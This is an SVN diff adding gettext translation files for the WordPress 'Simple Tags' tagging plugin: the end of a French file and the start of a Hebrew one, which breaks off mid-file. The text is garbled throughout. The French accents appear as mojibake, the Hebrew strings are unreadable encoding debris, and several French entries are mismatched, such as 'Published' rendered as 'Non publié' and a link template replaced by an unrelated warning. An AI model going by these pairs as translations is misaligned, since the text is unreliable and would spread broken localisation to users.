+#: /2.3/inc/simple-tags.widgets.php:252
+msgid "Tag Cloud Widgets"
+msgstr "Nuage de tags Widgets"
+
+#: /2.3/inc/simple-tags.widgets.php:253
+#: /2.5/inc/simple-tags.widgets.php:241
+#: /2.7/inc/simple-tags.widgets.php:241
+msgid "How many tag cloud widgets would you like?"
+msgstr "Combien de widgets \"Nuage de tags\" dÃ©sirez-vous ?"
+
+#: /2.3/inc/simple-tags.widgets.php:257
+#: /2.5/inc/simple-tags.widgets.php:245
+#: /2.7/inc/simple-tags.widgets.php:245
+msgid "Save"
+msgstr "Sauvegarder"
+
+#: /2.3/inc/simple-tags.widgets.php:274
+#: /2.3/inc/simple-tags.widgets.php:275
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "Nuage de tags avancÃ© %d"
+
+#: /2.5/simple-tags.client.php:111
+#: /2.7/simple-tags.client.php:113
+msgid "No tags for this post."
+msgstr "Aucun tag pour cet article."
+
+#: /2.5/simple-tags.client.php:123
+#: /2.7/simple-tags.client.php:125
+msgid "No related tags found."
+msgstr "Aucun tag relatif trouvÃ©."
+
+#: /2.5/simple-tags.client.php:1116
+#: /2.7/simple-tags.client.php:1128
+msgid "<a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "Simple Tags ne peut pas fonctionner avec cette version de WordPress !"
+
+#: /2.5/simple-tags.client.php:1505
+#: /2.7/simple-tags.client.php:1517
+msgid "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name_attribute%\" %tag_rel%>%tag_name%</a>"
+
+#: /2.5/inc/simple-tags.admin.php:233
+#: /2.5/inc/simple-tags.admin.php:537
+#: /2.5/inc/simple-tags.admin.php:1083
+#: /2.7/inc/simple-tags.admin.php:293
+#: /2.7/inc/simple-tags.admin.php:593
+#: /2.7/inc/simple-tags.admin.php:1099
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visitez le <a href=\"http://code.google.com/p/simple-tags/\">site internet du plugin</a> pour davantage d'informations. Si vous trouvez un bug, ou avez une idÃ©e fantastique pour ce plugin, <a href=\"mailto:amaury@wordpress-fr.net\">contactez-moi</a> !"
+
+#: /2.5/inc/simple-tags.admin.php:240
+#: /2.7/inc/simple-tags.admin.php:300
+msgid "Options"
+msgstr "Options"
+
+#: /2.5/inc/simple-tags.admin.php:244
+#: /2.7/inc/simple-tags.admin.php:304
+msgid "Activation"
+msgstr "Activation"
+
+#: /2.5/inc/simple-tags.admin.php:251
+#: /2.7/inc/simple-tags.admin.php:311
+msgid "Tags database"
+msgstr "Base de donnÃ©es des tags"
+
+#: /2.5/inc/simple-tags.admin.php:258
+#: /2.7/inc/simple-tags.admin.php:318
+msgid "Target"
+msgstr "Cible"
+
+#: /2.5/inc/simple-tags.admin.php:265
+#: /2.7/inc/simple-tags.admin.php:325
+msgid "Keywords list"
+msgstr "Liste des tags"
+
+#: /2.5/inc/simple-tags.admin.php:268
+#: /2.7/inc/simple-tags.admin.php:328
+msgid "Separated with a comma"
+msgstr "SÃ©parÃ© avec une virgule"
+
+#: /2.5/inc/simple-tags.admin.php:274
+#: /2.5/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:563
+#: /2.7/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:596
+#: /2.7/inc/simple-tags.admin.php:610
+msgid "Update options &raquo;"
+msgstr "Mettre Ã  jour les options &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:278
+#: /2.7/inc/simple-tags.admin.php:337
+msgid "Auto tags all content &raquo;"
+msgstr "Tagger automatiquement tout le contenu &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:316
+#: /2.7/inc/simple-tags.admin.php:375
+#, php-format
+msgid "All done! %s tags added."
+msgstr "TerminÃ© ! %s tag(s) ajoutÃ©(s)."
+
+#: /2.5/inc/simple-tags.admin.php:332
+#: /2.7/inc/simple-tags.admin.php:391
+msgid "Active tags for page:"
+msgstr "Activer les tags pour les pages:"
+
+#: /2.5/inc/simple-tags.admin.php:333
+#: /2.7/inc/simple-tags.admin.php:392
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "Cette fonctionnalitÃ© permet Ã  vos pages d'Ãªtre tagÃ©es. Cette option ajoute les pages dans les rÃ©sultats de recherche de tags.  Elle ajoute Ã©galement les champs des tags lors de la rÃ©daction d'une page."
+
+#: /2.5/inc/simple-tags.admin.php:355
+#: /2.7/inc/simple-tags.admin.php:418
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "Inclut automatiquement des tags comme mots clÃ©s dans l'entÃªte de votre page (la plupart des thÃšmes supportent cette fonction). Ces mots clÃ©s sont parfois utilisÃ©s par les moteurs de recherche.<br /><strong>Attention:</strong> Si le plugin \"All in One SEO Pack\" est installÃ© et actif. Cette fonctionnalitÃ© est automatiquement desactivÃ©e."
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published"
+msgstr "Non publiÃ©"
+
+#: /2.5/inc/simple-tags.admin.php:880
+#: /2.7/inc/simple-tags.admin.php:886
+msgid "Published posts"
+msgstr "Articles publiÃ©s"
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled"
+msgstr "ProgrammÃ©"
+
+#: /2.5/inc/simple-tags.admin.php:881
+#: /2.7/inc/simple-tags.admin.php:887
+msgid "Scheduled posts"
+msgstr "Articles programmÃ©s"
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending Review"
+msgstr "En attente de relecture"
+
+#: /2.5/inc/simple-tags.admin.php:882
+#: /2.7/inc/simple-tags.admin.php:888
+msgid "Pending posts"
+msgstr "Articles en attente"
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Draft"
+msgstr "Brouillon"
+
+#: /2.5/inc/simple-tags.admin.php:883
+#: /2.7/inc/simple-tags.admin.php:889
+msgid "Drafts|manage posts header"
+msgstr "Brouillons"
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private"
+msgstr "PrivÃ©"
+
+#: /2.5/inc/simple-tags.admin.php:884
+#: /2.7/inc/simple-tags.admin.php:890
+msgid "Private posts"
+msgstr "Articles privÃ©s"
+
+#: /2.5/inc/simple-tags.admin.php:928
+#: /2.7/inc/simple-tags.admin.php:934
+msgid "Mass edit tags"
+msgstr "Edition en masse de tags"
+
+#: /2.5/inc/simple-tags.admin.php:935
+#: /2.7/inc/simple-tags.admin.php:941
+msgid "All Posts"
+msgstr "Tous les articles"
+
+#: /2.5/inc/simple-tags.admin.php:956
+#: /2.7/inc/simple-tags.admin.php:962
+msgid "All Pages"
+msgstr "Toutes les pages"
+
+#: /2.5/inc/simple-tags.admin.php:965
+#: /2.7/inc/simple-tags.admin.php:971
+msgid "Search Posts"
+msgstr "Chercher des articles"
+
+#: /2.5/inc/simple-tags.admin.php:997
+#: /2.7/inc/simple-tags.admin.php:1003
+msgid "Show all dates"
+msgstr "Afficher toutes les dates"
+
+#: /2.5/inc/simple-tags.admin.php:1017
+#: /2.7/inc/simple-tags.admin.php:1023
+msgid "View all categories"
+msgstr "Voir toutes les catÃ©gories"
+
+#: /2.5/inc/simple-tags.admin.php:1030
+#: /2.7/inc/simple-tags.admin.php:1036
+msgid "Filter"
+msgstr "Filtrer"
+
+#: /2.5/inc/simple-tags.admin.php:1060
+#: /2.7/inc/simple-tags.admin.php:1076
+msgid "Update all &raquo;"
+msgstr "Tout mettre Ã  jour &raquo;"
+
+#: /2.5/inc/simple-tags.admin.php:1276
+#: /2.5/inc/simple-tags.admin.php:1291
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "Tags <small>(sÃ©parez les tags multiples par des virgules : chat, nourriture pour animaux, chien)</small>"
+
+#: /2.5/inc/simple-tags.widgets.php:240
+#: /2.7/inc/simple-tags.widgets.php:240
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr "Simple Tags : Nuage de tags Widgets"
+
+#: /2.5/inc/simple-tags.widgets.php:253
+#: /2.7/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "Vos tags les plus utilisÃ©s, au format \"nuage\" avec couleur dynamique et plein d'autres options"
+
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#: /2.7/inc/simple-tags.widgets.php:263
+#: /2.7/inc/simple-tags.widgets.php:264
+#, php-format
+msgid "ST: Tag Cloud %d"
+msgstr "Nuage de tags avancÃ© %d"
+
+#: /2.7/inc/simple-tags.admin.php:402
+msgid "This feature displays a visual help allowing to enter tags more easily. As well add tags is easier than the autocompletion default of WordPress"
+msgstr "Cette fonctionnalitÃ© vous permet d'afficher une aide visuelle vous facilitant la saisie de tags. Cette mÃ©thode est plus facile que l'autocomplÃ©tion par dÃ©faut de WordPress."
+
+#: /2.7/inc/simple-tags.admin.php:411
+msgid "Maximum number of links per article:"
+msgstr "Nombre maximum de liens par article : "
+
+#: /2.7/inc/simple-tags.admin.php:412
+msgid "This setting determines the maximum number of links created by article. Default: 10."
+msgstr "Ce paramÃštre permet de dÃ©terminer le nombre maximal de liens de tags crÃ©Ã©s automatiquement par article. DÃ©faut: 10."
+
+#: /2.7/inc/simple-tags.admin.php:1053
+msgid "Post title"
+msgstr "Titre de l'article"
+
+#: /2.7/inc/simple-tags.admin.php:1054
+msgid "Tags"
+msgstr "Tags"
+
+#: /2.7/inc/simple-tags.admin.php:1305
+#: /2.7/inc/simple-tags.admin.php:1310
+msgid "Tags (Simple Tags)"
+msgstr "Tags (Simple Tags)"
+
+#: /2.7/inc/simple-tags.admin.php:1317
+msgid "Separate tags with commas"
+msgstr "SÃ©parÃ© avec une virgule"
+
+#: /2.7/inc/simple-tags.admin.php:1664
+#: /2.7/inc/simple-tags.admin.php:1669
+msgid "Click tags"
+msgstr "Click tags"
+
+#: /2.7/inc/simple-tags.admin.php:1673
+#: /2.7/inc/simple-tags.admin.php:1702
+msgid "This feature works only with activated JavaScript. Activate it in your Web browser so you can!"
+msgstr "Cette fonctionnalitÃ© fonctionne uniquement avec le JavaScript activÃ©. Activez-le dans votre navigateur web si vous le pouvez !"
+
+#: /2.7/inc/simple-tags.admin.php:1681
+msgid "Ajax loading"
+msgstr "Chargement Ajax"
+
+#: /2.7/inc/simple-tags.admin.php:1691
+#: /2.7/inc/simple-tags.admin.php:1696
+msgid "Suggested tags"
+msgstr "Tags suggÃ©rÃ©s"
+
+#: /2.7/inc/simple-tags.admin.php:1889
+#: /2.7/inc/simple-tags.admin.php:1946
+#: /2.7/inc/simple-tags.admin.php:2013
+#: /2.7/inc/simple-tags.admin.php:2054
+msgid "No text was sent."
+msgstr "Aucun texte n'a Ã©tÃ© envoyÃ©."
+
+#: /2.7/inc/simple-tags.admin.php:1915
+msgid "No results from Yahoo! service."
+msgstr "Aucun rÃ©sultat depuis le service Yahoo!"
+
+#: /2.7/inc/simple-tags.admin.php:1965
+msgid "No results from Tag The Net service."
+msgstr "Aucun rÃ©sultat depuis le service Tag The Net."
+
+#: /2.7/inc/simple-tags.admin.php:2004
+msgid "No tags in your WordPress database."
+msgstr "Aucun tag dans la base de donnÃ©es de WordPress."
+
+#: /2.7/inc/simple-tags.admin.php:2027
+#: /2.7/inc/simple-tags.admin.php:2068
+msgid "No results from your WordPress database."
+msgstr "Aucun rÃ©sultat depuis la base de donnÃ©es de WordPress."
+
+#: /2.7/inc/simple-tags.admin.php:2114
+#, php-format
+msgid "&copy; Copyright 2008 <a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+msgstr "&copy; Copyright 2008<a href=\"http://www.herewithme.fr/\" title=\"Here With Me\">Amaury Balmer</a> | <a href=\"http://wordpress.org/extend/plugins/simple-tags\">Simple Tags</a> | Version %s"
+
+#: /2.7/inc/simple-tags.admin.php:2210
+msgid "Auto link"
+msgstr "CrÃ©ation automatique de liens"
+
+#: /extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "Importer les tags embarquÃ©s"
+
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "Cette procÃ©dure peut prendre quelques minutes en fonction de la taille de votre base de donnÃ©es. Soyez patient."
+
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visitez le <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags/francais\">site internet du plugin</a> pour davantage d'informations. Si vous trouvez un bug, ou avez une idÃ©e fantastique pour ce plugin, <a href=\"mailto:amaury@wordpress-fr.net\">contactez-moi</a> !"
+
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "Salutations ! Cet outil importe dans ce blog les tags en provenance des tags embarquÃ©s, Ã  l'aide de la nouvelle structure native de tagging de WordPress."
+
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Pour faciliter la prise en compte de grosses bases de donnÃ©es, typiques des blogueurs qui taguent Ã  tout va, nous avons conÃ§u cet outil sous la forme d'une suite de 4 Ã©tapes, afin de vous dÃ©barrassez de cette mauvaise habitude que sont les tags embarquÃ©s. Vous n'avez qu'Ã  cliquez, et nous vous ferons savoir lorsque vous serez purifiÃ© !"
+
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "Ne faites pas l'idiot, faites une sauvegarde de votre base de donnÃ©es avant de vous lancer !"
+
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "Etape 1 &raquo;"
+
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "Il manque des paramÃštre dans l'URL. (Start ou End)"
+
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "Configurer et ajouter les tags aux articles&#8230;"
+
+#: /extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "PrÃ©fixe des tags embarquÃ©s:"
+
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "Suffixe des tags embarquÃ©s:"
+
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "EffacÃ© les tags embarquÃ©s une fois importÃ©s ?"
+
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "Importer Ã©galement les tags embarquÃ©s depuis les pages ?"
+
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "DÃ©buter l'importation &raquo;"
+
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "TerminÃ© !"
+
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "Etape 2 &raquo;"
+
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "Importation terminÃ©e!"
+
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "Bon, en fait on vous a menti Ã  propos de ces 4 Ã©tapes ! C'est terminÃ© !"
+
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "VoilÃ , c'Ã©tait plutÃŽt facile, non ?"
+
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "Vous pouvez gÃ©rer les tags maintenant !"
+
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "Import des tags embarquÃ©s dans la nouvelle structure de tags native."
+
+#~ msgid "Advanced tags"
+#~ msgstr "Tags avancÃ©s"
+#~ msgid "WordPress 2.3 have a small bug and can create empty terms."
+#~ msgstr "WordPress 2.3 a un petit bug et permet la crÃ©ation de termes vides."
+#~ msgid "Clean it !"
+#~ msgstr "Nettoyez votre base !"
+#~ msgid ""
+#~ "You can find markers and explanations <a href=\"http://www.herewithme.fr/"
+#~ "wordpress-plugins/simple-tags#advanced-usage\">in the online "
+#~ "documentation.</a>"
+#~ msgstr ""
+#~ "Vous pouvez trouver les marqueurs et les explications <a href=\"http://"
+#~ "www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">sur la "
+#~ "documentation en ligne.</a>"
+#~ msgid ""
+#~ "You can use the same syntax as <code>st_the_tags()</code> function to "
+#~ "customize display. See <a href=\"http://www.herewithme.fr/wordpress-"
+#~ "plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+#~ msgstr ""
+#~ "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_the_tags()</"
+#~ "code> pour personnaliser l'affichage. Consulter la <a href=\"http://www."
+#~ "herewithme.fr/wordpress-plugins/simple-tags/francais/#advanced-usage"
+#~ "\">documentation</a> pour plus d'informations."
+#~ msgid ""
+#~ "You can use the same syntax as <code>st_related_posts()</code>function to "
+#~ "customize display. See <a href=\"http://www.herewithme.fr/wordpress-"
+#~ "plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+#~ msgstr ""
+#~ "Vous pouvez utiliser la mÃªme syntaxe que la fonction "
+#~ "<code>st_related_posts()</code> pour personnaliser l'affichage. Consulter "
+#~ "la <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags/"
+#~ "francais/#advanced-usage\">documentation</a> pour plus d'informations."
+#~ msgid ""
+#~ "You can use the same syntax as <code>st_related_tags()</code>function to "
+#~ "customize display. See <a href=\"http://www.herewithme.fr/wordpress-"
+#~ "plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+#~ msgstr ""
+#~ "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_related_tags"
+#~ "()</code> pour personnaliser l'affichage. Consulter la <a href=\"http://"
+#~ "www.herewithme.fr/wordpress-plugins/simple-tags/francais/#advanced-usage"
+#~ "\">documentation</a> pour plus d'informations."
+#~ msgid ""
+#~ "You can use the same syntax as <code>st_tag_cloud()</code> function to "
+#~ "customize display. See <a href=\"http://www.herewithme.fr/wordpress-"
+#~ "plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+#~ msgstr ""
+#~ "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_tag_cloud()"
+#~ "</code> pour personnaliser l'affichage. Consulter la <a href=\"http://www."
+#~ "herewithme.fr/wordpress-plugins/simple-tags/francais/#advanced-usage"
+#~ "\">documentation</a> pour plus d'informations."
+#~ msgid "Close"
+#~ msgstr "Fermer"
+#~ msgid "%s terms updated with success !"
+#~ msgstr "%s termes mises Ã  jour avec succÃšs !"
+#~ msgid "Category"
+#~ msgstr "CatÃ©gorie"
+#~ msgid "Simple Tags: Advanced Edit Terms"
+#~ msgstr "Simple Tags: Edition en masse de termes"
+#~ msgid ""
+#~ "Be careful with this page ! You can cause important damages, and lost all "
+#~ "tags and categories of your WordPress installation."
+#~ msgstr ""
+#~ "Soyez prudent avec cette page ! Vous pouvez causer d'important dÃ©gats, et "
+#~ "perdre tous les tags et toutes les catÃ©gories de votre installation "
+#~ "WordPress."
+#~ msgid "Taxonomy&hellip;"
+#~ msgstr "Taxinomie&hellip;"
+#~ msgid "Counter (descending)"
+#~ msgstr "Compteur (descendant)"
+#~ msgid "Counter (ascending)"
+#~ msgstr "Compteur (ascendant)"
+#~ msgid "Name (descending)"
+#~ msgstr "Nom (descendant)"
+#~ msgid "Name (ascending)"
+#~ msgstr "Nom (ascendant)"
+#~ msgid "ID (no editing)"
+#~ msgstr "ID (non Ã©ditable)"
+#~ msgid "Name"
+#~ msgstr "Nom"
+#~ msgid "Slug (unique)"
+#~ msgstr "Identifiant (unique)"
+#~ msgid "Term group"
+#~ msgstr "Groupe du terme"
+#~ msgid "Taxonomy"
+#~ msgstr "Taxinomie"
+#~ msgid "Count"
+#~ msgstr "Compteur"
+#~ msgid "Parent"
+#~ msgstr "Parent"
+#~ msgid "Description"
+#~ msgstr "Description"
+#~ msgid "Delete ?"
+#~ msgstr "Effacer ?"
+#~ msgid "Update all terms"
+#~ msgstr "Mettre Ã  jour tous les termes"
+#~ msgid "No terms to edit."
+#~ msgstr "Aucun terme a Ã©diter."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-he_IL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-he_IL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-he_IL.po	(revision 44)
@@ -0,0 +1,1295 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2007-11-27 21:10+0200\n"
+"Last-Translator: Hannit Cohen <hannit@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: C:\\SVN\\ST WP.org\\trunk\n"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:73
+#: WP.org\trunk/simple-tags.php:434
+msgid "No related posts."
+msgstr "××× ×€××¡××× ×§×©××š××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:74
+#: WP.org\trunk/simple-tags.php:433
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>×€××¡××× ×§×©××š××</h4>"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:80
+#: WP.org\trunk/simple-tags.php:763
+msgid "No tags."
+msgstr "××× ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:81
+#: WP.org\trunk/simple-tags.php:768
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>×¢× × ×ª××××ª</h4>"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:92
+#: WP.org\trunk/simple-tags.php:990
+msgid "Tags: "
+msgstr "×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:94
+#: WP.org\trunk/simple-tags.php:995
+msgid "No tag for this post."
+msgstr "××× ×ª××××ª ××€××¡× ××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:215
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "××€××¡× ××ª×××× ×-%s"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:436
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:644
+msgid "There is no excerpt because this is a protected post."
+msgstr "××× ×ª×§×Š××š ×× ××× ×€××¡× ××××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:764
+msgid "<a href=\"%tag_link%\" class=\"tag-link-%tag_id%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" class=\"tag-link-%tag_id%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:994
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: C:\SVN\ST
+#: WP.org\trunk/simple-tags.php:1192
+msgid "Invalid Taxonomy"
+msgstr "××§×¡× ×× ×××§×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:64
+msgid "Import Embedded Tags"
+msgstr "××××× ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:65
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "×€×¢××× ×× ×¢×©××× ××§××ª ××¡×€×š ××§××ª ××ª×××ª ××××× ××¡× ×× ×ª×× ××, ×× × ××ª×××š× ××¡××× ××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:66
+#: WP.org\trunk/inc/simple-tags.admin.php:178
+#: WP.org\trunk/inc/simple-tags.admin.php:400
+#: WP.org\trunk/inc/simple-tags.admin.php:489
+#: WP.org\trunk/inc/simple-tags.admin.php:640
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "××§×š× <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">×××£ ××ª××¡×£</a> ××€×š××× × ××¡×€××. ×× ××Š××ª× ×××, ×× ×©××© ××× ×š×¢××× × ×€×× ××ª××¡×£, <a href=\"mailto:amaury@wordpress-fr.net\">×××š× ×××ª×</a> !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:75
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "×××!, ××× × ×××× ×ª××××ª ××ª×× ××× ×× ×× ××××× × ×©× ×××š××€×š×¡."
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:76
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "×¢× ×× ×ª ××ª×××§ ××¡× × ×ª×× ×× ×××× ×××××× ×¢×××š ××××× ××ª××××ª, ×××Š×š× × ×ª××× ××ª 4 ×©×××× ×©×ª×¢×××š ××× ××××× ××ª ×× ××ª××××ª ×× ××× ×× ×× ××××× × ×©× ×××š××€×š×¡. ×š×§ ×××©××× ×××§×××§ ×× ×¢××× ××ª×× ××ª× ××× ××¡×ª×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:77
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "×× ×ª××× ××€×©×× - ××× ××ª ××¡× ×× ×ª×× ×× ××€× × ×©× ××©××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:79
+msgid "Step 1 &raquo;"
+msgstr "×©×× 1 &raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:102
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "×€×š×××š ××¡×š ×××ª×××ª. (Start ×× End)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:114
+msgid "Configure and add tags to posts&#8230;"
+msgstr "×©×× ×× ××€×©×š××××ª ××××¡×€×ª ×ª××××ª ××€××¡×××&#8230;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:121
+msgid "Start marker"
+msgstr "×¡×× ××ª×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:124
+msgid "End marker"
+msgstr "×¡×× ×¡×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:127
+msgid "Delete embedded tags once imported ?"
+msgstr "××××§×ª ×ª××××ª ××××š ×××××× ?"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:129
+msgid "Import also embedded tags from page ?"
+msgstr "××××× ×ª××××ª ×× ××ª×× ×¢××××× ?"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:132
+msgid "Start import &raquo;"
+msgstr "××ª×××ª ××××× &raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:174
+#: WP.org\trunk/inc/simple-tags.admin.php:227
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "×× ×××€××€× ×× ××¢×× ××ª ×××£ ××× ××××××××ª, ××© ×××××¥ ×××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:174
+#: WP.org\trunk/inc/simple-tags.admin.php:227
+msgid "Next content"
+msgstr "××ª××× ×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:187
+msgid "Done!"
+msgstr "×¡××××ª×!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:189
+msgid "Step 2 &raquo;"
+msgstr "×©××; 2 &raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:206
+msgid "Import Complete!"
